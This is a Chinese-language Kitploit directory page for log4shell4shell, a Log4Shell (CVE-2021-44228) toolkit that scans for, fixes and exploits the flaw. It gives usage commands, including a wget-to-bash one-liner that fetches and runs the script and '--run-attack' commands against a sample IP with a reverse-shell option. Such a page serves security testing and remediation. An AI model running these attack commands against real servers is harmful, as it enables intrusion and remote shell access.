Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
log4shell4shell — Log4shell - 多功能工具包。发现、修复并测试可能的 CVE-2021-44228 漏洞 - 在 shell 上提供一个完整的 LOG4SHELL 测试/攻击环境 | Kitploit
工具/GitHubGitHub/suuhm/log4shell4shell
漏洞扫描器Payload生成漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubsuuhm/log4shell4shell

log4shell4shell

Log4shell - 多功能工具包。发现、修复并测试可能的 CVE-2021-44228 漏洞 - 在 shell 上提供一个完整的 LOG4SHELL 测试/攻击环境

查看仓库
54年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

log4shell4shell

Log4j - 多功能工具。查找和修复可能的 CVE-2021-44228 漏洞 - 提供完整的 LOG4SHELL 测试/攻击环境

缩略图

功能

  • 检查你的 Linux/Mac/BSD 和 Windows 系统是否存在 CVE-2021-44228 漏洞
  • 通过删除 log4j Java 类或设置一些环境变量来修复你的系统
  • 概念验证:你可以运行一个模拟的 Spring Boot 服务器来自己测试该漏洞(https://github.com/christophetd/log4shell-vulnerable-app)
  • 你可以对指定的 IP-端口发起攻击,并包含一个 Base64 命令 / 或者一个简单的反向 Shell
  • 使用 https://github.com/fullhunt/log4j-scan 进行全 IP 范围扫描

如何在 Linux/Mac/BSD 上运行:

要求:

  • https://docs.docker.com/get-docker/
  • Debian / Ubuntu:apt update ; apt install default-jre screen python3-pip bash curl
  • OpenSuse:zypper ref ; zypper in default-jre screen python3-pip bash curl
  • Redhead-Linux / CentOS:yum clean; yum install default-jre screen python3-pip bash curl
  • BSD pkg:pkg install default-jre screen python3-pip curl
  • Mac OS (Brew):/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ; brew install default-jre screen python3 pip

使用以下一行命令快速检查你的系统:

root@kitploit:~
wget https://raw.githubusercontent.com/suuhm/log4shell4shell/main/log4shell4shell.sh -qO- | bash -s -- --check-system

更多选项

对 IP: 10.4.4.20 端口 8080 的登录页面运行示例攻击,并额外使用反向代理 Shell:

root@kitploit:~
git clone https://github.com/suuhm/log4shell4shell ; cd log4shell4shell
mv log4shell4shell.sh l4s4s.sh && chmod +x l4s4s.sh
./l4s4s.sh --run-attack http://10.4.4.20:8080/login.php -e

运行 screen -r l4s4s-ldap-srv 和/或 screen -r l4s4s-nc-rsh 以查看攻击服务器中的一些攻击信息:

对 IP: 10.4.4.20 端口 8080 运行全面扫描,并额外尝试所有测试:

root@kitploit:~
./l4s4s.sh --python-scan "-u 10.4.4.20:8080 --run-all-tests"

在 Tomcat Spring Boot 服务器上运行概念验证:

root@kitploit:~
./l4s4s.sh --run-dummy-server && \
./l4s4s.sh --run-attack http://127.0.0.1:4280 -e

运行 Unifi-Controller 漏洞攻击/检查(在 10.4.4.20:8443 上):

root@kitploit:~
./l4s4s.sh --run-attack 10.4.4.20:8443 -e --unifi-post

所有可用选项

root@kitploit:~
_|                            _|  _|              _|                  _|  _|  _|  _|              _|                  _|  _|
_|          _|_|      _|_|_|  _|  _|      _|_|_|  _|_|_|      _|_|    _|  _|  _|  _|      _|_|_|  _|_|_|      _|_|    _|  _|
_|        _|    _|  _|    _|  _|_|_|_|  _|_|      _|    _|  _|_|_|_|  _|  _|  _|_|_|_|  _|_|      _|    _|  _|_|_|_|  _|  _|
_|        _|    _|  _|    _|      _|        _|_|  _|    _|  _|        _|  _|      _|        _|_|  _|    _|  _|        _|  _|
_|_|_|_|    _|_|      _|_|_|      _|    _|_|_|    _|    _|    _|_|_|  _|  _|      _|    _|_|_|    _|    _|    _|_|_|  _|  _|
                          _|
                      _|_|


 > Running Log4shell Framework & Check-Toolkit on shell v0.1a (C) 2021 suuhm

Wrong input! Please enter one of these options:

Usage: ./l4s4s.sh [OPTIONS] <IP:PORT|COMMAND>

                        --get-powershell-finder
                        --check-system
                        --fix-log4j
                        --run-dummy-server <JNDIExploit.*.zip>
                        --run-attack <FORMAT: IP:PORT> <-e/-t/'cmd'> [--unifi-post]
                        --python-scan <command>

如何升级你的 Linux 和/或 macOS Python 版本:

只需运行我的辅助脚本(--list-versions):./python-upgrader.sh

如何在 Windows x86/x64 上运行:

只需在 PowerShell(管理员模式)中运行:.\set_windows_fix.ps1

此脚本为 alpha 版本!如果你遇到任何问题,请告知。

法律免责声明

log4shell4shell 项目仅用于教育和道德测试目的。在未获得对方事先同意的情况下使用 log4j-scan 攻击目标是违法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,也不对因使用本程序而导致的任何误用或损害负责。

下载工具